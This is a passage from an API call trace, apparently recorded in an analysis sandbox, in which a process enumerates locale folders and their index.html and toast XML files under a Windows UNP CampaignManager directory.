ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.233] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.233] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.233] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.233] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0238.234] GetProcessHeap () returned 0xc10000 [0238.234] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.234] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0238.234] GetProcessHeap () returned 0xc10000 [0238.234] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.237] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.237] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.237] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.237] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.237] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.237] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.237] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0238.238] GetProcessHeap () returned 0xc10000 [0238.239] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.239] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0238.239] GetProcessHeap () returned 0xc10000 [0238.239] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.241] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.241] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.241] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.241] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.241] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.241] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.241] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0238.242] GetProcessHeap () returned 0xc10000 [0238.242] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.242] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0238.243] GetProcessHeap () returned 0xc10000 [0238.243] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.245] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.245] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.245] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.245] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.245] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.246] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.246] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0238.247] GetProcessHeap () returned 0xc10000 [0238.247] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.247] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0238.247] GetProcessHeap () returned 0xc10000 [0238.247] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.249] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.249] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.249] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.249] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.249] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.250] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.250] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0238.251] GetProcessHeap () returned 0xc10000 [0238.251] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.251] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0238.251] GetProcessHeap () returned 0xc10000 [0238.251] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0238.253] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.253] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.253] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.254] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, 